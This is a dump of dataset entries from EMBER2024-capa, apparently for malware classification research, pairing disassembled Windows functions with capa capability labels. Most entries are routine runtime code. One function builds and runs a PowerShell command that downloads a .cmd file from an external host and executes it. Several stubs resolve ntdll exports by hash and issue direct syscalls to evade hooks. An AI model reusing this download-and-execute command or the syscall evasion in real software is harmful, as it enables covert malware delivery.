joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140002302
Capabilities:
Write file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x28
xor r8d, r8d
mov rsi, rcx
mov rbx, rdx
test rdx, rdx
je 0x140002321
mov rcx, rdx
call sub.msvcrt.dll_strlen
mov r8, rax
mov rcx, rbx
mov r9, rsi
mov edx, 1
call sub.msvcrt.dll_fwrite
mov rcx, rsi
add rsp, 0x28
pop rbx
pop rsi
jmp fcn.140016400

Function at 0x140005036
Capabilities:
Write file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x38
mov qword [rsp + 0x28], rdx
mov rsi, rcx
mov ecx, 2
call qword [fcn.140015e30]
mov r8, qword [rsp + 0x28]
mov rcx, rsi
mov edx, 1
mov rbx, rax
mov r9, rax
call sub.msvcrt.dll_fwrite
mov rcx, rbx
add rsp, 0x38
pop rbx
pop rsi
jmp fcn.140016400

Function at 0x140005075
Capabilities:
Write file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x38
cmp qword [0x1400840f0], 0
jne 0x14000508d
add rsp, 0x38
pop rbx
pop rsi
jmp fcn.140005036
lea rsi, [rsp + 0x20]
mov rdx, rcx
mov rcx, rsi
call fcn.140004fd4
mov rbx, qword [rsp + 0x28]
mov rcx, rsi
call qword [0x1400840f0]
test rbx, rbx
je 0x1400050be
test byte [rbx + 7], 0x40
jne 0x1400050be
mov rcx, rbx
call fcn.14000338c
lea rcx, [0x140017320]
call fcn.140010c10
cmp byte [rax], 0
je 0x1400050f6
mov byte [rax], 0
lea rcx, [0x140017220]
call fcn.140010c10
xor r8d, r8d
mov rcx, rax
mov rax, qword [rax]
mov rdx, qword [rax + 0x38]
add rsp, 0x38
pop rbx
pop rsi
jmp fcn.1400038f8
add rsp, 0x38
pop rbx
pop rsi
ret

Function at 0x14000547d
Capabilities:
Write file on windows

Disassembly:
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x30
lea r12, [0x1400840c0]
xor ebx, ebx
lea r14, [0x140017320]
mov rsi, rcx
mov rdi, rdx
lea r13, [rsp + 0x20]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbp, qword [fcn.140015e30]
mov ecx, 1
cmp rbx, rdi
jl 0x140005503
call rbp
mov r8d, 1
mov edx, 1
lea rcx, [0x1400192fb]
mov r9, rax
call sub.msvcrt.dll_fwrite
mov ecx, 1
call rbp
mov rcx, rax
call fcn.140016400
mov rcx, r12
add rsp, 0x30
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
call rbp
xor r8d, r8d
mov rdx, r13
mov rcx, rax
mov rax, rbx
shl rax, 4
movups xmm0, xmmword [rsi + rax]
movups xmmword [rsp + 0x20], xmm0
call fcn.140005357
mov rcx, r14
call fcn.140010c10
cmp byte [rax], 0
jne 0x140005535
inc rbx
jmp 0x1400054b6
add rsp, 0x30
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
ret
Function at 0x14000df90
Capabilities:
Access peb ldr_data
Resolve function by parsing pe exports

Disassembly:
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x28
cmp dword [0x140017520], 0
je 0x14000dfaf
mov edx, 1
jmp 0x14000e0ee
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
xor ebx, ebx
mov r8, qword [rax + 0x10]
xor eax, eax
mov rdx, qword [r8 + 0x30]
test rdx, rdx
je 0x14000e012
movsxd rcx, dword [rdx + 0x3c]
mov ecx, dword [rdx + rcx + 0x88]
test ecx, ecx
je 0x14000e00a
lea rax, [rcx + rdx]
mov ecx, dword [rax + 0xc]
add rcx, rdx
mov r9d, dword [rcx]
or r9d, 0x20202020
cmp r9d, 0x6c64746e
jne 0x14000e00a
mov ecx, dword [rcx + 4]
or ecx, 0x20202020
cmp ecx, 0x6c642e6c
je 0x14000e01c
mov r8, qword [r8]
mov rbx, rdx
jmp 0x14000dfc4
test rax, rax
jne 0x14000e01f
jmp 0x14000e0ee
mov rbx, rdx
mov ebp, dword [rax + 0x1c]
mov esi, dword [rax + 0x24]
xor r10d, r10d
lea r13, [0x140017524]
mov edx, dword [rax + 0x18]
mov eax, dword [rax + 0x20]
add rsi, rbx
add rbp, rbx
lea r11d, [rdx - 1]
add rax, rbx
lea rdi, [rax + r11*4]
add r11, r11
add r11, rsi
mov ecx, dword [rdi]
add rcx, rbx
cmp word [rcx], 0x775a
jne 0x14000e082
mov eax, r10d
inc r10d
lea r12, [r13 + rax*8]
call fcn.14000df68
mov dword [r12], eax
movzx eax, word [r11]
mov eax, dword [rbp + rax*4]
mov dword [r12 + 4], eax
cmp r10d, 0x1f4
je 0x14000e094
sub rdi, 4
lea rax, [r11 - 2]
cmp rsi, r11
je 0x14000e094
mov r11, rax
jmp 0x14000e04c
mov dword [0x140017520], r10d
lea r11, [0x140017524]
dec r10d
test r10d, r10d
je 0x14000dfa5
lea rax, [0x140017520]
xor edx, edx
lea ecx, [rdx + 1]
mov r8d, dword [rax + 8]
mov rdx, rcx
lea rcx, [r11 + rcx*8]
mov r9d, dword [rcx + 4]
cmp r9d, r8d
jae 0x14000e0e0
mov ebx, dword [rax + 4]
mov esi, dword [rcx]
mov dword [rax + 8], r9d
mov dword [rax + 4], esi
mov dword [rcx], ebx
mov dword [rcx + 4], r8d
add rax, 8
cmp edx, r10d
jb 0x14000e0b7
dec r10d
jmp 0x14000e0a5
mov eax, edx
add rsp, 0x28
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
ret

Function at 0x14000e2dd
Capabilities:
Execute syscall

Disassembly:
mov qword [rsp + 8], rcx
mov qword [rsp + 0x10], rdx
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x20], r9
sub rsp, 0x28
mov ecx, 0x3950907
call fcn.14000e0fd
add rsp, 0x28
mov rcx, qword [rsp + 8]
mov rdx, qword [rsp + 0x10]
mov r8, qword [rsp + 0x18]
mov r9, qword [rsp + 0x20]
mov r10, rcx
nop
syscall
ret

Function at 0x14000e320
Capabilities:
Execute syscall

Disassembly:
mov qword [rsp + 8], rcx
mov qword [rsp + 0x10], rdx
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x20], r9
sub rsp, 0x28
mov ecx, 0x8b19978d
call fcn.14000e0fd
add rsp, 0x28
mov rcx, qword [rsp + 8]
mov rdx, qword [rsp + 0x10]
mov r8, qword [rsp + 0x18]
mov r9, qword [rsp + 0x20]
mov r10, rcx
nop
syscall
ret

Function at 0x14000e5be
Capabilities:
Execute syscall

Disassembly:
mov qword [rsp + 8], rcx
mov qword [rsp + 0x10], rdx
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x20], r9
sub rsp, 0x28
mov ecx, 0x88a6285
call fcn.14000e0fd
add rsp, 0x28
mov rcx, qword [rsp + 8]
mov rdx, qword [rsp + 0x10]
mov r8, qword [rsp + 0x18]
mov r9, qword [rsp + 0x20]
mov r10, rcx
nop
syscall
ret
Function at 0x14000e601
Capabilities:
Parse pe header

Disassembly:
push rbx
sub rsp, 0x20
test rcx, rcx
je 0x14000e63f
cmp word [rcx], 0x5a4d
jne 0x14000e63f
movsxd rdx, dword [rcx + 0x3c]
cmp edx, 0x400
jg 0x14000e63f
call fcn.1400069b0
mov rcx, qword [0x14007f430]
mov rbx, rax
call fcn.140010c10
cmp byte [rax], 0
jne 0x14000e63f
cmp dword [rbx], 0x4550
je 0x14000e641
xor ebx, ebx
mov rax, rbx
add rsp, 0x20
pop rbx
ret

Function at 0x14000e699
Capabilities:
Execute syscall

Disassembly:
mov qword [rsp + 8], rcx
mov qword [rsp + 0x10], rdx
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x20], r9
sub rsp, 0x28
mov ecx, 0x19991f17
call fcn.14000e0fd
add rsp, 0x28
mov rcx, qword [rsp + 8]
mov rdx, qword [rsp + 0x10]
mov r8, qword [rsp + 0x18]
mov r9, qword [rsp + 0x20]
mov r10, rcx
nop
syscall
ret

Function at 0x14000ed6d
Capabilities:
Execute syscall

Disassembly:
mov qword [rsp + 8], rcx
mov qword [rsp + 0x10], rdx
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x20], r9
sub rsp, 0x28
mov ecx, 0xc85e88a6
call fcn.14000e0fd
add rsp, 0x28
mov rcx, qword [rsp + 8]
mov rdx, qword [rsp + 0x10]
mov r8, qword [rsp + 0x18]
mov r9, qword [rsp + 0x20]
mov r10, rcx
nop
syscall
ret

Function at 0x14000edb0
Capabilities:
Execute syscall

Disassembly:
mov qword [rsp + 8], rcx
mov qword [rsp + 0x10], rdx
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x20], r9
sub rsp, 0x28
mov ecx, 0x8a92015
call fcn.14000e0fd
add rsp, 0x28
mov rcx, qword [rsp + 8]
mov rdx, qword [rsp + 0x10]
mov r8, qword [rsp + 0x18]
mov r9, qword [rsp + 0x20]
mov r10, rcx
nop
syscall
ret

Function at 0x14000fce0
Capabilities:
Write file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x38
mov rbx, rcx
lea rax, [rsp + 0x58]
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call fcn.140015e30
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sub.msvcrt.dll_fwrite
mov rsi, qword [rsp + 0x28]
mov ecx, 2
call fcn.140015e30
mov rdx, rbx
mov rcx, rax
mov r8, rsi
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
nop
nop dword [rax]
Function at 0x14000fd50
Capabilities:
Allocate or change rwx memory

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rsi, dword [0x140084814]
mov rbx, rcx
test esi, esi
jle 0x14000fe80
mov rax, qword [0x140084818]
xor r9d, r9d
add rax, 0x18
nop word [rax + rax]
mov r8, qword [rax]
cmp rbx, r8
jb 0x14000fd9b
mov rdx, qword [rax + 8]
mov edx, dword [rdx + 8]
add r8, rdx
cmp rbx, r8
jb 0x14000fe25
add r9d, 1
add rax, 0x28
cmp r9d, esi
jne 0x14000fd80
mov rcx, rbx
call fcn.1400107a0
mov rdi, rax
test rax, rax
je 0x14000fea2
mov rax, qword [0x140084818]
lea rbx, [rsi + rsi*4]
shl rbx, 3
add rax, rbx
mov qword [rax + 0x20], rdi
mov dword [rax], 0
call fcn.1400108e0
mov edx, dword [rdi + 0xc]
mov r8d, 0x30
lea rcx, [rax + rdx]
mov rax, qword [0x140084818]
lea rdx, [rsp + 0x20]
mov qword [rax + rbx + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x14000fe87
mov eax, dword [rsp + 0x44]
lea edx, [rax - 0x40]
and edx, 0xffffffbf
je 0x14000fe1e
lea edx, [rax - 4]
and edx, 0xfffffffb
jne 0x14000fe30
add dword [0x140084814], 1
add rsp, 0x50
pop rbx
pop rsi
pop rdi
ret
cmp eax, 2
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r8d, 0x40
mov eax, 4
cmove r8d, eax
add rbx, qword [0x140084818]
mov qword [rbx + 8], rcx
mov r9, rbx
mov qword [rbx + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x14000fe1e
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call fcn.14000fce0
nop dword [rax]
xor esi, esi
jmp 0x14000fda8
mov rax, qword [0x140084818]
mov edx, dword [rdi + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rbx + 0x18]
call fcn.14000fce0
mov rdx, rbx
lea rcx, str.Address__p_has_no_image_section
call fcn.14000fce0
nop
nop word cs:[rax + rax]
nop dword [rax]

Function at 0x140010410
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
lea r12, [0x140084880]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x140084860]
test rbx, rbx
je 0x14001046c
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop dword [rax]
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test eax, eax
jne 0x140010463
test rsi, rsi
je 0x140010463
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x140010448
mov rcx, r12
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
Function at 0x1400107a0
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x14007f440]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x1400107c0
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x1400107c8
ret
cmp word [r8 + 0x18], 0x20b
jne 0x1400107c0
movzx eax, word [r8 + 0x14]
sub rcx, rdx
lea rax, [r8 + rax + 0x18]
movzx r8d, word [r8 + 6]
test r8w, r8w
je 0x14001081d
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rax + 0xc]
mov rdx, r8
cmp rcx, r8
jb 0x140010814
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x1400107c0
add rax, 0x28
cmp rax, r9
jne 0x140010800
xor eax, eax
ret

Function at 0x140010820
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x14007f440]
xor ecx, ecx
cmp word [rax], 0x5a4d
jne 0x14001083f
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x140010848
mov eax, ecx
ret
cmp word [rax + 0x18], 0x20b
jne 0x14001083f
movzx ecx, word [rax + 6]
mov eax, ecx
ret

Function at 0x1400108e0
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x14007f440]
xor edx, edx
cmp word [rax], 0x5a4d
jne 0x1400108ff
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
je 0x140010908
mov rax, rdx
ret
cmp word [rcx + 0x18], 0x20b
cmove rdx, rax
mov rax, rdx
ret

Function at 0x140010bb0
Capabilities:
Allocate thread local storage

Disassembly:
sub rsp, 0x28
xor r9d, r9d
xor edx, edx
xor ecx, ecx
mov dword [0x140084900], 0xffffffff
mov r8d, 0xffff
call qword [sym.imp.KERNEL32.dll_CreateSemaphoreW]
mov qword [0x140084908], rax
call qword [sym.imp.KERNEL32.dll_TlsAlloc]
cmp eax, 0xffffffff
je 0x140010c00
lea rdx, [0x140010ac0]
mov ecx, eax
mov dword [0x1400848f8], eax
call fcn.140016550
test eax, eax
jne 0x140010c08
add rsp, 0x28
ret
call qword [sym.imp.KERNEL32.dll_GetLastError]
jmp 0x140010bf7
call sub.msvcrt.dll_abort
nop
nop
Function at 0x140010c10
Capabilities:
Get thread local storage value
Set thread local storage value

Disassembly:
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x28
mov rsi, qword [0x14007f3d0]
mov r11d, dword [rsi]
mov rbx, rcx
test r11d, r11d
jne 0x140010c48
mov rax, qword [rcx + 0x10]
test rax, rax
je 0x140010cb0
add rsp, 0x28
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
ret
mov r12, qword [rcx + 0x10]
test r12, r12
je 0x140010cc0
mov esi, dword [0x1400848f8]
mov r13, qword [sym.imp.KERNEL32.dll_GetLastError]
call r13
mov edi, eax
mov ecx, esi
call qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov ecx, edi
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_SetLastError]
test rsi, rsi
je 0x140010d30
mov rbp, qword [rsi]
cmp rbp, r12
jb 0x140010d78
sub r12, 1
mov rax, qword [rsi + r12*8 + 8]
test rax, rax
jne 0x140010c37
mov rcx, rbx
call fcn.140010b10
mov qword [rsi + r12*8 + 8], rax
jmp 0x140010c37
call fcn.140010b10
mov qword [rbx + 0x10], rax
jmp 0x140010c37
mov r10d, dword [rsi]
test r10d, r10d
je 0x140010dda
mov r9d, dword [0x140018510]
test r9d, r9d
je 0x140010e08
lock add dword [0x140084900], 1
jne 0x140010e3c
mov r12, qword [rbx + 0x10]
test r12, r12
je 0x140010de7
mov eax, dword [rsi]
test eax, eax
je 0x140010c51
lock sub dword [0x140084900], 1
js 0x140010c51
mov rcx, qword [0x140084908]
xor r8d, r8d
mov edx, 1
call qword [sym.imp.KERNEL32.dll_ReleaseSemaphore]
jmp 0x140010c51
lea rcx, [r12 + 0x21]
mov edx, 8
lea rdi, [r12 + 0x20]
call sub.msvcrt.dll_calloc
mov rsi, rax
test rax, rax
je 0x140010e63
mov qword [rax], rdi
mov ecx, dword [0x1400848f8]
mov rdx, rsi
call qword [sym.imp.KERNEL32.dll_TlsSetValue]
test eax, eax
jne 0x140010c8b
call r13
jmp 0x140010c8b
lea rdi, [rbp + rbp]
lea rax, [r12 + 0x20]
mov rcx, rsi
cmp rdi, r12
cmovb rdi, rax
lea rdx, [rdi*8 + 8]
call sub.msvcrt.dll_realloc
mov rsi, rax
test rax, rax
je 0x140010e63
mov qword [rax], rdi
sub rdi, rbp
lea rcx, [rax + rbp*8 + 8]
xor edx, edx
lea r8, [rdi*8]
call sub.msvcrt.dll_memset
jmp 0x140010d53
call fcn.140010bb0
mov dword [0x140018510], 1
mov edx, dword [rsi]
test edx, edx
jne 0x140010cdc
mov r12, qword [rbx + 0x10]
test r12, r12
jne 0x140010c51
mov rax, qword [0x1400848f0]
lea r12, [rax + 1]
mov qword [0x1400848f0], r12
mov qword [rbx + 0x10], r12
jmp 0x140010cf7
lock add dword [0x140018514], 1
je 0x140010dc1
mov r8d, dword [0x140018510]
mov rbp, qword [sym.imp.KERNEL32.dll_Sleep]
lea rdi, [0x140018510]
test r8d, r8d
jne 0x140010dd0
nop dword [rax]
xor ecx, ecx
call rbp
mov ecx, dword [rdi]
test ecx, ecx
je 0x140010e30
jmp 0x140010dd0
mov rcx, qword [0x140084908]
mov edx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
je 0x140010cea
lock sub dword [0x140084900], 1
jmp 0x140010cea
call sub.msvcrt.dll_abort
nop
nop dword [rax]
cmp qword [rcx], rdx
jae 0x140010e80
mov qword [rcx], rdx
mov qword [rcx + 0x18], 0
cmp qword [rcx + 8], r8
jae 0x140010e8a
mov qword [rcx + 8], r8
test r9, r9
je 0x140010e94
cmp qword [rcx], rdx
je 0x140010e98
ret
mov qword [rcx + 0x18], r9
ret
Function at 0x401010
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
mov rax, qword [0x00404570]
xor ecx, ecx
mov dword [rax], 1
mov rax, qword [0x00404580]
mov dword [rax], 1
mov rax, qword [0x00404590]
mov dword [rax], 1
mov rax, qword [0x00404560]
mov dword [rax], 1
mov rax, qword [0x00404450]
cmp word [rax], 0x5a4d
jne 0x401067
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x4010c0
mov rax, qword [0x00404550]
mov dword [0x0040700c], ecx
mov eax, dword [rax]
test eax, eax
jne 0x4010b0
mov ecx, 1
call sym.__set_app_type
call dbg.__p__fmode
mov rdx, qword [0x00404510]
mov edx, dword [rdx]
mov dword [rax], edx
call dbg._setargv
mov rax, qword [0x00404400]
cmp dword [rax], 1
je 0x4010f0
xor eax, eax
add rsp, 0x28
ret
mov ecx, 2
call sym.__set_app_type
jmp 0x401084
movzx edx, word [rax + 0x18]
cmp dx, 0x10b
je 0x401108
cmp dx, 0x20b
jne 0x401067
cmp dword [rax + 0x84], 0xe
jbe 0x401067
mov edx, dword [rax + 0xf8]
xor ecx, ecx
test edx, edx
setne cl
jmp 0x401067
lea rcx, [dbg._matherr]
call dbg.__mingw_setusermatherr
xor eax, eax
add rsp, 0x28
ret
cmp dword [rax + 0x74], 0xe
jbe 0x401067
mov r8d, dword [rax + 0xe8]
xor ecx, ecx
test r8d, r8d
setne cl
jmp 0x401067

Function at 0x401560
Capabilities:
Execute command
Query environment variable
Write and execute a file
Write file on windows

Disassembly:
push rbp
sub rsp, 0x430
lea rbp, [rsp + 0x80]
call dbg.__main
lea rcx, str.USERPROFILE
call sym.getenv
mov qword [rbp + 0x3a8], rax
cmp qword [rbp + 0x3a8], 0
jne 0x4015c1
mov ecx, 2
mov rax, qword [dbg.__acrt_iob_func]
call rax
mov r9, rax
mov r8d, 0x30
mov edx, 1
lea rcx, str.Error_getting_USERPROFILE_environment_variable._n
call sym.fwrite
mov eax, 1
jmp 0x401622
mov rdx, qword [rbp + 0x3a8]
lea rax, [rbp - 0x60]
mov r9, rdx
lea r8, str.powershell__Command__Invoke_WebRequest__Uri_https:__vip.123pan.cn_1814328088_gtx_4__OutFile__s1.cmd_
mov edx, 0x400
mov rcx, rax
call sym.snprintf
lea rax, [rbp - 0x60]
mov rcx, rax
call sym.system
mov rdx, qword [rbp + 0x3a8]
lea rax, [rbp - 0x60]
mov r9, rdx
lea r8, str.__s1.cmd_
mov edx, 0x400
mov rcx, rax
call sym.snprintf
lea rax, [rbp - 0x60]
mov rcx, rax
call sym.system
mov eax, 0
add rsp, 0x430
pop rbp
ret

Function at 0x401ae0
Capabilities:
Write file on windows

Disassembly:
push r12
push rbx
sub rsp, 0x38
mov r12, rcx
lea rax, [rsp + 0x58]
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call dbg.__acrt_iob_func
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sym.fwrite
mov rbx, qword [rsp + 0x28]
mov ecx, 2
call dbg.__acrt_iob_func
mov rdx, r12
mov rcx, rax
mov r8, rbx
call sym.vfprintf
call sym.abort
nop
nop word [rax + rax]
Function at 0x180001000
Capabilities:
Query or enumerate registry value

Disassembly:
push rdi
push r14
push r15
sub rsp, 0x170
mov rax, qword [0x18001f010]
xor rax, rsp
mov qword [rsp + 0x150], rax
xor r15d, r15d
lea rax, [rsp + 0x60]
mov qword [rsp + 0x58], r15
mov r14, rdx
mov qword [rsp + 0x50], r15
mov rdi, rcx
mov qword [rsp + 0x48], r15
xor r9d, r9d
mov qword [rsp + 0x40], r15
xor r8d, r8d
mov qword [rsp + 0x38], rax
xor edx, edx
mov qword [rsp + 0x30], r15
mov rcx, r14
mov qword [rsp + 0x28], r15
mov qword [rsp + 0x20], r15
call qword [sym.imp.ADVAPI32.dll_RegQueryInfoKeyW]
test eax, eax
jne 0x180001192
mov qword [rsp + 0x1a8], rbp
mov ebp, r15d
cmp dword [rsp + 0x60], r15d
jbe 0x18000118a
mov qword [rsp + 0x168], rsi
mov qword [rsp + 0x160], r12
lea r12, [r15 - 1]
mov qword [rsp + 0x1a0], rbx
lea rax, [rsp + 0x64]
mov dword [rsp + 0x68], 0x64
mov qword [rsp + 0x38], rax
lea r9, [rsp + 0x68]
lea rax, [rsp + 0x70]
mov dword [rsp + 0x64], 4
mov qword [rsp + 0x30], rax
lea r8, [rsp + 0x80]
lea rax, [rsp + 0x6c]
mov edx, ebp
mov qword [rsp + 0x28], rax
mov rcx, r14
mov qword [rsp + 0x20], r15
call qword [sym.imp.ADVAPI32.dll_RegEnumValueW]
test eax, eax
jne 0x180001166
cmp dword [rsp + 0x6c], 4
jne 0x180001166
mov edx, dword [rdi]
mov eax, r15d
mov esi, dword [rsp + 0x70]
test edx, edx
je 0x180001115
mov r8, qword [rdi + 8]
mov ecx, eax
cmp dword [r8 + rcx*4], esi
je 0x180001166
inc eax
cmp eax, edx
jb 0x180001107
mov eax, dword [rdi + 4]
cmp edx, eax
jne 0x18000115b
add eax, 0x10
mov ecx, eax
mov dword [rdi + 4], eax
mov eax, 4
mul rcx
cmovo rax, r12
mov rcx, rax
call fcn.1800084b4
mov r8d, dword [rdi]
mov rcx, rax
mov rdx, qword [rdi + 8]
mov rbx, rax
shl r8, 2
call fcn.1800094f0
mov rcx, qword [rdi + 8]
mov qword [rdi + 8], rbx
call fcn.180008470
mov ecx, dword [rdi]
mov rax, qword [rdi + 8]
mov dword [rax + rcx*4], esi
inc dword [rdi]
inc ebp
cmp ebp, dword [rsp + 0x60]
jb 0x1800010a0
mov r12, qword [rsp + 0x160]
mov rsi, qword [rsp + 0x168]
mov rbx, qword [rsp + 0x1a0]
mov rbp, qword [rsp + 0x1a8]
mov rcx, qword [rsp + 0x150]
xor rcx, rsp
call fcn.180008450
add rsp, 0x170
pop r15
pop r14
pop rdi
ret
Function at 0x1800011b0
Capabilities:
Query or enumerate registry value

Disassembly:
push rdi
push r14
push r15
sub rsp, 0x160
mov rax, qword [0x18001f010]
xor rax, rsp
mov qword [rsp + 0x140], rax
xor r15d, r15d
lea rax, [rsp + 0x60]
mov qword [rsp + 0x58], r15
mov r14, rdx
mov qword [rsp + 0x50], r15
mov rdi, rcx
mov qword [rsp + 0x48], r15
xor r9d, r9d
mov qword [rsp + 0x40], r15
xor r8d, r8d
mov qword [rsp + 0x38], rax
xor edx, edx
mov qword [rsp + 0x30], r15
mov rcx, r14
mov qword [rsp + 0x28], r15
mov qword [rsp + 0x20], r15
call qword [sym.imp.ADVAPI32.dll_RegQueryInfoKeyW]
test eax, eax
jne 0x1800013b7
mov qword [rsp + 0x198], rbp
mov ecx, 0x20a
mov qword [rsp + 0x158], rsi
call fcn.1800084b4
mov rsi, rax
mov ebp, r15d
cmp dword [rsp + 0x60], r15d
jbe 0x18000139f
mov qword [rsp + 0x190], rbx
mov qword [rsp + 0x150], r12
lea r12, [r15 - 1]
nop dword [rax]
lea rax, [rsp + 0x64]
mov dword [rsp + 0x68], 0x64
mov qword [rsp + 0x38], rax
lea r9, [rsp + 0x68]
lea rax, [rsp + 0x6c]
mov qword [rsp + 0x30], rsi
mov qword [rsp + 0x28], rax
lea r8, [rsp + 0x70]
mov edx, ebp
mov qword [rsp + 0x20], r15
mov rcx, r14
mov dword [rsp + 0x64], 0x104
call qword [sym.imp.ADVAPI32.dll_RegEnumValueW]
test eax, eax
jne 0x180001383
cmp dword [rsp + 0x6c], 1
jne 0x180001383
mov eax, dword [rdi]
mov ebx, r15d
test eax, eax
je 0x1800012f9
nop
mov rdx, rsi
mov rax, qword [rdi + 0x10]
mov ecx, ebx
mov rcx, qword [rax + rcx*8]
cmp dword [rdi + 8], r15d
je 0x1800012db
call qword [sym.imp.KERNEL32.dll_lstrcmpiW]
jmp 0x1800012e1
call qword [sym.imp.KERNEL32.dll_lstrcmpW]
test eax, eax
mov ecx, r15d
sete cl
test ecx, ecx
jne 0x180001383
mov eax, dword [rdi]
inc ebx
cmp ebx, eax
jb 0x1800012c0
mov ecx, dword [rdi + 4]
cmp eax, ecx
jne 0x18000133f
lea eax, [rcx + 0x10]
mov ecx, eax
mov dword [rdi + 4], eax
mov eax, 8
mul rcx
cmovo rax, r12
mov rcx, rax
call fcn.1800084b4
mov r8d, dword [rdi]
mov rcx, rax
mov rdx, qword [rdi + 0x10]
mov rbx, rax
shl r8, 3
call fcn.1800094f0
mov rcx, qword [rdi + 0x10]
mov qword [rdi + 0x10], rbx
call fcn.180008470
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_lstrlenW]
inc eax
movsxd rcx, eax
mov eax, 2
mul rcx
cmovo rax, r12
mov rcx, rax
call fcn.1800084b4
mov edx, dword [rdi]
mov rcx, qword [rdi + 0x10]
mov qword [rcx + rdx*8], rax
mov edx, dword [rdi]
mov rax, qword [rdi + 0x10]
mov rcx, qword [rax + rdx*8]
lea eax, [rdx + 1]
mov rdx, rsi
mov dword [rdi], eax
call qword [sym.imp.KERNEL32.dll_lstrcpyW]
inc ebp
cmp ebp, dword [rsp + 0x60]
jb 0x180001260
mov r12, qword [rsp + 0x150]
mov rbx, qword [rsp + 0x190]
mov rcx, rsi
call fcn.180008470
mov rsi, qword [rsp + 0x158]
mov rbp, qword [rsp + 0x198]
mov rcx, qword [rsp + 0x140]
xor rcx, rsp
call fcn.180008450
add rsp, 0x160
pop r15
pop r14
pop rdi
ret